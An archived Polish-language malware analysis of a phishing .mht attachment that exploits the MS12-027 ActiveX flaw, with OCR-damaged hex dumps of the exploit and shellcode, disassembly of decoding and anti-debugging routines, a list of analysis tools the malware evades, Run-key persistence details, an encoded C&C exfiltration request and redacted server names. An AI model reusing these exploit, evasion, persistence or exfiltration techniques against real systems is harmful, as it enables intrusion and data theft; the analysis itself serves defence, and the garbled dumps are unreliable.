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mht, MS12-27 oraz *malware*.info

Archived: 2026-04-02 11:19:10 UTC

Przedstawiamy skrocony opis z analizy ztosliwego oprogramowania rozsytanego do instytucji rzqdowych. Plik
zatqczany do wiadomosci email miat rozszerzenie mht (MD5: D3DE5B8500453107D6D152B3C8506935).

Ponizej fragment zawartosci pliku. CLSID zwiqzany jest z btedem przepetnienia bufora w kontrolce ActiveX —
MSCOMCTL.OCX (MS12-27).

Qooos11z 44 4D 73 6F 4E 6F 72 6D €1 &C 3E 3C 73 70 61 6E DMsoNormal><span
Q0008128 20 6C &1 6E 67 3D 33 44 45 4E 2D 55 53 3E 3C &F 1lang=3DEN-US5><o
00008144 62 6h 65 63 T4 0D OB 20 &3 6C &1 73 73 6% 64 3D bject classid=
00008160 33 44 22 43 4C 53 49 44 34 42 44 44 31 46 30 34  ZD"CLSID:BDD1FO04
00008176 42 2D 38 35 38 42 2D 31 31 44 31 2D 42 31 36 41  B-858B-11D1-EBEleh
Qoo0gl1sz2 2D 30 30 43 30 46 30 32 38 33 36 32 38 22 20 695 -00COF0283628" i
Q0008208 64 3D 33 44 53 68 6F €63 6B 77 61 76 65 46 6C 61 d=3DShockwaveFla
Qoo0B224 73 68 31 0D OA 20 77 €9 64 74 68 3D 33 44 3% 20  shl width=3D%

00008240 68 65 69 &7 68 T4 3D 33 44 39 20 64 61 74 61 3D  height=3DS data=
00008256 33 44 22 44 6F 63 31 2E 66 69 6C 65 73 2F 6F 63 3D"Docl.files/oc
aoooszT2 78 73 74 67 30 30 31 2ZE 60 73 &F 22 3E 3C 2F &F  xstgl0l.mso">»</o
Q0008288 62 6L 65 63 T4 3E 3C 2F 73 70 61 6E 3E 3C 2F 70 | bject></span></p

Wyodrebniony obiekt ocxstg001.mso po odkodowaniu base64 zawiera exploit:

00002112 05 00 00 80 00 00 0O OO OO0 OO0 00 00 00 00 00 00 €

Q0002128 |00 00 00 OO0 1F DE EC BED 01 00 05 00 90 17 15 00 TE”
00002144 |00 00 O8 00 00 OO0 49 74 &D 73 &4 00 00 00 02 00 Itmsd
00002160 |00 OO0 01 OO0 00 OO0 OC 00 OO 00 43 6F €2 &6A &4 00 Cobjd
Q00002176 |00 00 82 82 00 00 82 82 00 00 00 OO0 0O OO 00 OO S
00002192 00 FF FF FF 00 00 30 3C 58 27 90 90 90 90 980 90 B
Q0002208 90 S0 90 90 90 &8 00 04 OO0 00 &8 40 00 00 OO B8 h n@
00002224 | 1C 60 &0 BF E8 3A 01 00 OO FF DO 85 CO 74 E& 50 -1 “B_RtéP
00002240 68 01 00 00 OO0 &8 00 OO0 OO OO0 EE 0% 00 00 00 6B h h [« k
Q0002258 65 72 6E &5 6C 33 32 00 B8 9D 3A EO 27 E8 11 01 ernel32 , :i'€
00002272 00 00 FF DO 85 CO 74 BD 5& 52 E8 FF 00 00 00 5% "B.RC"ZRE" T
00002288 |89 8A OC 02 00 00 52 89 82 54 02 00 00 8B BA 54 | %3 E%, T «5T
00002304 |02 00 00 BE EC FB 6E DD EE& FE 00 00 00 54 &89 42 LBinTéEy ZkE

W pliku mht mozna tez zidentyfikowa¢ inny shellcode, ktérego celem jest miedzy innymi zapisanie w TMP i
uruchomienie kolejnej instancji WinWord.exe z nowym (podstawionym) plikiem - MH17.doc (tre$¢ dokumentu
dotyczy katastrofy MH17) oraz wywotanie biblioteki DLL. Biblioteke mozemy réwniez wyodrebni¢ samodzielnie
z pliku mht.

Fragment drugiego shellcode:

seg000:000001E9 cld

seg000:000001EA rep movsb
seg000:000001EC mov [edx+0A4h], edi
seg000:000001F2 mov  eax, [edx+20h]
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seg000:000001F5 push 0
seg000:000001FA push 0
seg000:000001FF push 2
seg000:00000204 push 0
seg000:00000209 push 0
seg000:0000020E push 4
seg000:00000213 mov  ebx, [edx+8Ch]
seg000:00000219 push ebx
seg000:0000021A call eax

W efekcie po wykorzystaniu podatnosci na komputerze ofiary w katalogu TMP tworzone sa dwa pliki:

e MH17.doc
e Instalator ztosliwego oprogramowania (DLL) w.q — MD5: 16 A6C56BA458EC718B4E9BC8FIF10785

Biblioteka DLL oprécz standardowej funkcji DIIEntryPoint() eksportuje dwie dodatkowe funkcje Start() oraz
Start717(void*). Start717 na poczatku wykonuje sprawdzenia czy system operacyjny nie jest "monitorowany" i

dopiero wtedy "instaluje" jedng z dwéch bibliotek gtéwnych.

Wiekszos$¢ danych statycznych (komendy, nazwy funkcji, nazwy plikéw) w analizowanej bibliotece jest

zakodowana.

Fragment kodu wywohujacy funkcje odkodowujaca dane ponizej:

.text:70891190 sub_70891190 proc near ~ ; CODE XREF: Start717(void *)+59p
.text:70891190 push  esi

.text:70891191 push  edi

.text:70891192 push  offset unk_7089B000 ; klucz

.text:70891197 push 0

.text:70891199 push  99h ; ilo$¢ danych do odkodowania
.text:7089119E push offset LibFileName

text:708911A3 mov  esi, ecx

.text:708911A5 call odkoduj_1 ; odkoduj nazwy funkcji i bibliotek
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.text:708911AA push
.text:708911AF push
.text:708911B1 push
.text:708911B6 push
.text:708911BB call

.text:708911C0 mov
.text:708911C6 push

.text:708911CB call

.text:708911CD push offset albog4i

.text:708911D2 mov
.text:708911D4 call
.text:708911D6 mov
.text:708911D9 pop
.text:708911DA mov
.text:708911DC pop

.text:708911DD retn
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offset unk_7089B000 ; klucz
0
2E6h ; ilo$¢ danych do odkodowania

offset word_7089B0A8
odkoduj_1 ; odkoduj nazwy procesow
edi, ds:LoadLibraryA
offset LibFileName ; IpLibFileName
edi ; LoadLibraryA
; "msvert.dIl”

[esi], eax
edi ; LoadLibraryA

[esi+4], eax

edi

eax, esi

esi

.text:708911DD sub_70891190 endp

Ponizszy fragment kodu odpowiada za odkodowanie nazw bibliotek, funkcji i aplikacji "monitorujacych". Uzyty

klucz FE95279A46B28136.

.text:70891076 mov

.text:70891079

.text:70891079 loc_70891079:

.text:70891079 add

.text:7089107B lea

text:7089107F and

.text:70891082 xor

text:70891085 lea

dl, byte ptr [ebp+arg_4+3]

; CODE XREF: sub_70891000+70j
dl, cl

ebx, [edi+eax+2]

ebx, 7

dl, [ebx+esi] ;pozycja w tablicy xor kolejny znak klucza

ebx, [edi+eax+1]
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text:70891089 and  ebx, 7

text:7089108C and  dl, [ebx+esi]

text:7089108F inc  ecx

text:70891090 mov bl dl

text:70891092 lea  edx, [esi+edi-1]

.text:70891096 movzx edx, byte ptr [edx+eax]
text:7089109A imul  edx, eax

text:7089109D add  edi, eax

text:7089109F shr  edx, 7

text:708910A2 and  edi, 7

text:708910A5 xor  dl, [edi+esi]

.text:708910A8 mov  edi, [ebp+var_8]
text:708910AB add bl dl

.text:708910AD mov  edx, [ebp+arg_0]
text:708910B0 xor  [edx+eax], bl ;odkodowany znak
.text:708910B3 inc  eax

.text:708910B4 cmp  ecx, 8 ;dt klucza
.text:708910B7 jb  short loc_70891076

Odkodowana pierwsza cze$¢ danych:

7B89AFF8 00 H6H 6O 88 68 00 80 688 | ........ :E'ﬁF—ﬁﬁ
7p89B00BE 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 80 6D 73 76 Kernel32.dll.msv
7089B018 63 72 7h 2E 64 6C 6C B8 43 72 65 61 74 65 54 6F crit.dll.CreateTo
/B89BB28 6F 6C 68 65 6C 7@ 33 32 53 6E 61 78 73 68 6F 74 olhelp32Snapshot
7BB9BO38 80 50 72 6F 63 65 73 73 33 32 LE 65 78 74 57 68 .Process3ZHextW.
70898048 6C 73 T 72 63 6D 70 69 57 B8 S0 72 6F 63 65 73 lstr?mpiu.Pruces
/O89BO58 73 33 32 46 69 72 73 ¥4 57 B8O 43 60 6F 73 65 48 s32FirstW.Glosed
70898068 61 G6E 6% 6C 65 @@ 49 73 4k 65 62 75 67 67 6% 72 andle.IsDebugger
70898078 50 72 65 73 65 6E 74 @8 47 65 7L 5S4 69 63 6B 43 Present.GetTickC

/O89B088 6F 75 6E 74 808 /3 72 61 6E 64 60 /2 61 6E 6% 0@ ount.srand.rand.
/O89BBYE 6L 73 7h 72 6C 65 6E 57 68 B8 68 @8 668 68 88 8@ l1strlenW........

Ponizej lista aplikacji po wykryciu ktérych malware konczy dzialanie:

e netsniffer.exe

e windump.exe

» winapioverride32.exe
e tcpview.exe

e vboxservice.exe
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e procexp.exe
e wireshark.exe
e Tegmon.exe

e procmon.exe

e iris.exe

e petools.exe

o filemon.exe

e vboxtray.exe

e tcpdump.exe

e apimonitor.exe
e odb.exe

e apispy32.exe

e comview.exe

e winspy.exe

e vmtools.exe

e vmwaretray.exe
e immunitydebugger.exe
e syser.exe

e dumpcap.exe

e vmwareuser.exe
e ollydbg.exe

e windbg.exe

e idag.exe

Kolejna zastosowana metoda wykrywania debuggera polega na dwukrotnym wywotaniu funkcji GetTickCount().

Jesli roznica w zwracanej wartosci jest zbyt duza — zwracana warto$¢ 1 powoduje wytaczenie malware.
text:70891394 mov  esi, eax

text:70891396 call ebx ; GetTickCount

.text:70891398 push eax

.text:70891399 call [ebp+var_4] ; srand

.text:7089139C add  esp, 4

text:7089139F call esi ; rand

text:708913A1 call ebx ; GetTickCount

.text:708913A3 mov  [ebp+var_4], eax

text:708913A6 mov  edi, 186A0h

.text:708913AB jmp  short loc_708913B0
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text:708913B0 loc_708913B0: ; CODE XREF: sub_70891360+4Bj
.text:708913B0 ; sub_70891360+55j

text:708913B0 call esi ; rand

text:708913B2 call  esi ; rand

.text:708913B4 dec  edi

.text:708913B5 jnz  short loc_708913B0

text:708913B7 call ebx ; GetTickCount
.text:708913B9 sub  eax, [ebp+var_4]

.text:708913BC pop  edi

.text:708913BD cmp  eax, 14h ; poréwnaj rezultat
.text:708913C0 sbb  eax, eax

Jesli uruchomiony kod nie wykryje nic podejrzanego na stacji roboczej instalowane jest ztosliwe

oprogramowanie:

e W katalogu C:\Users\<username>\AppData\Local\Microsoft\Windows tworzy kolejny plik — coreshell.dll
(MD5: 48656A93F9BA39410763A2196 AABC67F)

» Do rejestrow dodawany jest klucz HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CoreShell z
zawartoscia: “RUNDLL32.exe ,,C:\Users\
<username>\AppData\Local\Microsoft\Windows\coreshell.dl1” #1

 Jedli instalator ma uprawnienia lokalnego administratora to roOwniez utworzy:
HKLM\Software\Classes\CLSID\{ EF7652A4-98EF-5031-226B-11456C96A7EA NINProcServer32
wskazujac na coreshell.dll oraz funkcje Applicate()

Z}osliwe oprogramowanie ma zaimplementowany mechanizm zdalnego wykonywania komend oraz pobierania i
uruchamiania plikéw. Jednym z pierwszych czynnosci jest pobranie z serwera C&C kolejnej biblioteki:
advstoreshell.dll (MD5: D7A625779DF56D874871BB632F3E3106). Inny instalowany (dodawany do klucza
RUN) na stacji roboczej plik to: conhost.dll (MD5: 5F69014A482DC115A93A80A486BB2842).

Do serweréw C&C wysylane sg tez informacje o zainfekowanym hoscie (np. wynik systeminfo) czy
uruchomionych procesach. Zebranie informacje przed wystaniem sa szyfrowanie (wykonywany dwa razy XOR na
roznych pozycjach klucza i indeksie tablicy z danymi do zakodowania) oraz kodowane do base64. Klucz ma
dhugosé 6 bajtow.
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#1B5228E loc_71B5228E:

71B5228E mov eax, [ebp+var_3C]
#1B52291 cmp dword ptr [eax], 6
71852297 setb cl
71852294 mov edx, dword 71BG6BFF@
100.00% (556,10812) (405,196) 00001691 T1B52291: szyfrowanie 3+441
| [©] Hex view-Eax | [B] Hex view-Ex [ | [3] Hex View-ECX | [l Hex vieweDx [ | [T Hex viewes1

OO2DCET2 73 57 49 4E 2D 34 50 51 43 52 49 47 46 32 36 38 SWIN-4POCRIGF268
G02DCEZ2 38 34 38 33 30 36 30 31 1B 00 60 08 2A OA B8O 60 B4030681....=_ ..
882DCE32 [ 26 DE B1 1C 3B D4 G0 88 Ch4 00 2'aiix"§&ﬁ—.;d..:.

Prébka zebranych informacji:
[System Process] ID:0 Path:00000057
System ID:4 Path:00000005

smss.exe [D:272 Path:00000005
csrss.exe [D:364 Path:00000005
wininit.exe ID:404 Path:00000005
csrss.exe 1D:416 Path:00000005
services.exe ID:456 Path:00000005
Isass.exe ID:496 Path:00000005
Ism.exe ID:504 Path:00000005
winlogon.exe ID:512 Path:00000005
svchost.exe ID:632 Path:00000005
svchost.exe ID:696 Path:00000005
svchost.exe ID:744 Path:00000005
svchost.exe 1D:832 Path:00000005
svchost.exe ID:904 Path:00000005
svchost.exe ID:1040 Path:00000005
svchost.exe ID:1124 Path:00000005
spoolsv.exe ID:1304 Path:00000005
dwm.exe ID:1328 Path:C:\Windows\system32\Dwm.exe

explorer.exe ID:1352 Path:C:\Windows\Explorer.EXE

I ich zakodowana wersja:
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POST /check/ HTTP/1.1

User-Agent: MSIE 8.0

Host: malware***** info

Content-Length: 3408

Pragma: no-cache
PmBn4Hb4AFtG5m/pFF4A7Uny/WJR43ftbMOU/6WDEOVAKvVLAUHIQiws1hQXdGyZIG
Q30svz0zdYZ1wjJAe3kDyCHNt2xmHul1Qm8MJIZM+JWsJG5wvCB5LHr0YLxFTIMcB
ASUH+r8qRBA9AeebBgNzB9iHfBdR +teMIgpaAO95KzX/Vx2GpDkIXWGTuDwAYy/4
1IC/~Vh3k+CuWXGLV8C6yY3P+5EEOVbnt9ROPA1Qq+CsMnhhgeO60HJKdcaCPyEy

3crEISPfzZ9WamErMu/jAnho50Py XIAM +1P/nmwArjfrPcWI70071dCQkWuGbeiOt

Przy kazdym zapytaniu POST wysytanym do serwera C&C generowany jest nowy klucz ,,sesji” i dolgczany do

przesytanej wiadomosci.

ImhT2hnQOE0ZEDNKZFxwhjulpywihl CppCUUES0lohkZw ol 1JHXIDVP

0 9% 88 =3 da 19 d0 d0 4d 19 0 35 a7 a2 sc 70 26 -hSU DM aS«@\pt

1 3b 90 a7 2c 23 35 20 a9 ad 25 14 3 93 as a2 19 S E.@ER% 0%
— I - u,

2 19 2 83 75 [ 24 75 €5 21 bS i - - - - - - Efusudo

Przesytane wiadomosci sa oznaczane nagtéwkami np. crtf (btedy), strtf (log) czy mtfs (informacje). Inne

znaczniki wykorzystywane przez malware to 1drt, virt, crth, extc.

Nazwy funkcji i bibliotek w pamieci przechowywane sa w formie zaszyfrowanej oraz w odwrotnej kolejnosci.
Przed pobraniem adresu funkcji na krétko przywracana jest wiasciwa kolejnos¢ znakéw aby nastepnie wywotaé
GetProcAddress().

73E3A1FS  6C 69 46 65 74 61 65 72 43 B0 72 6F 72 72 45 74 1liFetaerC.rorrEt
73E3A205 73 61 4C 74 65 47 B8 57 65 6C 69 46 65 74 65 6C salteG-WeliFetel
73E3A215 65 44 00 64 61 65 72 68 54 65 eD.peellS.daerhTe
73E3A225 74 61 65 72 43 B0 66 74 G6E 69 72 70 77 6E 73 5F taerC.ftnirpuns_
73E3A235 08 57 GE 65 6C 72 74 73 6C B0 74 6E 75 6F 43 6B _Wnelrtsl.tnuoCk
73E3A245 63 69 54 74 65 47 08 6@ 64 6E 61 72 73 00 @0 57 ciTteG..dnars..W
73E3A255 74 61 63 72 74 73 6C 88 6E 6F 69 73 72 65 56 74 tacrtsl.noisreUt

Dane o wiekszym rozmiarze sa najpierw kompresowane za pomoca LZW a nastepnie szyfrowane algorytmem

3DES. Ponizej parametry wywotania funkcji CryptGenKey:
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(] stadk view

0158FDEE @61DBE28 debugd?2:861DBB28
O158FDBC LSt R]
B158FDCA  B80a0A\1

0158FDC4 O158FEBG8 Stack[B0006DFC]:-6158FEBS

Oraz przyktadowy klucz wykorzystany do szyfrowania przesytanych plikéw. Pliki w formie zaszyfrowanej

znajduja sie w katalogu TMP (np. __2315tmp.dat) zainfekowanego uzytkownika:

@@1BD36A 22 22 22 22 G0 60 68 88 73 DO 98 OB 00 08 0@ 88
G01BD370 F5 B4 97 74 01 B2 99 74 FC 77 97 74 92 4C 98 74
GO1BD380 62 4D 98 74 48 FE 97 74 3B 79 97 74 BS 4B 98 74
G01BD390 EB 56 99 74 45 75 99 74 28 BB 1D 88 64 7F 41 E3
G01BD3IAG 22 22 22 22 61 60 60 B8 6B DO 98 OB 00 08 6@ 8@
G01BD3IEA 62 OO B0 GO0 G0 00 60 B8 00 B0 6O 08 00 08 A@ 68

"""" PR -1 [ S
g+St. é0tRwstiLst
bHStH™St ;yStAKSE
iviitEulit(. . .duan
"""" ce.-k@S. .G

Malware taczy sie serwerem za pomoca http. Wykorzystuje ustawienia proxy. Ponizej lista aktywnych serweréw:

o FH¥kmalware.info

o malware***** info

o Rkl ndate.org
o CBk¥kkgaryice24.net

o WhdNkIX_ypdate.com

Source: http://malware.prevenity.com/2014/08/malware-info.html
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